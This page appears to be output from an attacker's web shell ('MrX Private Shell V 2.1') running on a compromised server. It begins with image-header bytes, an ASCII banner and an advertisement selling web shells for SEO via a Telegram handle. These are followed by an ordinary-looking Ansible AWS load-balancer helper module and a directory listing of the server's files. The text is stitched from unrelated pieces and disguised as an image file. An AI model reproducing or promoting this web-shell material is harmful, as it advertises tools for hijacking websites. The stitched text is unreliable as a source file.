����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Copyright (c) 2017 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
try:
from botocore.exceptions import BotoCoreError, ClientError
except ImportError:
pass
from .core import is_boto3_error_code
from .ec2 import AWSRetry
def get_elb(connection, module, elb_name):
"""
Get an ELB based on name. If not found, return None.
:param connection: AWS boto3 elbv2 connection
:param module: Ansible module
:param elb_name: Name of load balancer to get
:return: boto3 ELB dict or None if not found
"""
try:
return _get_elb(connection, module, elb_name)
except (BotoCoreError, ClientError) as e:
module.fail_json_aws(e)
@AWSRetry.jittered_backoff()
def _get_elb(connection, module, elb_name):
"""
Get an ELB based on name using AWSRetry. If not found, return None.
:param connection: AWS boto3 elbv2 connection
:param module: Ansible module
:param elb_name: Name of load balancer to get
:return: boto3 ELB dict or None if not found
"""
try:
load_balancer_paginator = connection.get_paginator('describe_load_balancers')
return (load_balancer_paginator.paginate(Names=[elb_name]).build_full_result())['LoadBalancers'][0]
except is_boto3_error_code('LoadBalancerNotFound'):
return None
def get_elb_listener(connection, module, elb_arn, listener_port):
"""
Get an ELB listener based on the port provided. If not found, return None.
:param connection: AWS boto3 elbv2 connection
:param module: Ansible module
:param elb_arn: ARN of the ELB to look at
:param listener_port: Port of the listener to look for
:return: boto3 ELB listener dict or None if not found
"""
try:
listener_paginator = connection.get_paginator('describe_listeners')
listeners = (AWSRetry.jittered_backoff()(listener_paginator.paginate)(LoadBalancerArn=elb_arn).build_full_result())['Listeners']
except (BotoCoreError, ClientError) as e:
module.fail_json_aws(e)
l = None
for listener in listeners:
if listener['Port'] == listener_port:
l = listener
break
return l
def get_elb_listener_rules(connection, module, listener_arn):
"""
Get rules for a particular ELB listener using the listener ARN.
:param connection: AWS boto3 elbv2 connection
:param module: Ansible module
:param listener_arn: ARN of the ELB listener
:return: boto3 ELB rules list
"""
try:
return AWSRetry.jittered_backoff()(connection.describe_rules)(ListenerArn=listener_arn)['Rules']
except (BotoCoreError, ClientError) as e:
module.fail_json_aws(e)
def convert_tg_name_to_arn(connection, module, tg_name):
"""
Get ARN of a target group using the target group's name
:param connection: AWS boto3 elbv2 connection
:param module: Ansible module
:param tg_name: Name of the target group
:return: target group ARN string
"""
try:
response = AWSRetry.jittered_backoff()(connection.describe_target_groups)(Names=[tg_name])
except (BotoCoreError, ClientError) as e:
module.fail_json_aws(e)
tg_arn = response['TargetGroups'][0]['TargetGroupArn']
return tg_arn
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| _version.py | File | 12.4 KB | 0644 |
|
| acm.py | File | 10.91 KB | 0644 |
|
| arn.py | File | 2.24 KB | 0644 |
|
| batch.py | File | 2.48 KB | 0644 |
|
| botocore.py | File | 15.08 KB | 0644 |
|
| cloud.py | File | 9.29 KB | 0644 |
|
| cloudfront_facts.py | File | 10.98 KB | 0644 |
|
| core.py | File | 3.3 KB | 0644 |
|
| direct_connect.py | File | 4.14 KB | 0644 |
|
| ec2.py | File | 13.31 KB | 0644 |
|
| elb_utils.py | File | 3.31 KB | 0644 |
|
| elbv2.py | File | 43.18 KB | 0644 |
|
| iam.py | File | 2.86 KB | 0644 |
|
| modules.py | File | 16.9 KB | 0644 |
|
| policy.py | File | 7.55 KB | 0644 |
|
| rds.py | File | 17.57 KB | 0644 |
|
| retries.py | File | 3.28 KB | 0644 |
|
| route53.py | File | 2.4 KB | 0644 |
|
| s3.py | File | 3.4 KB | 0644 |
|
| tagging.py | File | 7.17 KB | 0644 |
|
| tower.py | File | 2.9 KB | 0644 |
|
| transformation.py | File | 5.37 KB | 0644 |
|
| urls.py | File | 7.06 KB | 0644 |
|
| version.py | File | 616 B | 0644 |
|
| waf.py | File | 7.96 KB | 0644 |
|
| waiters.py | File | 41.39 KB | 0644 |
|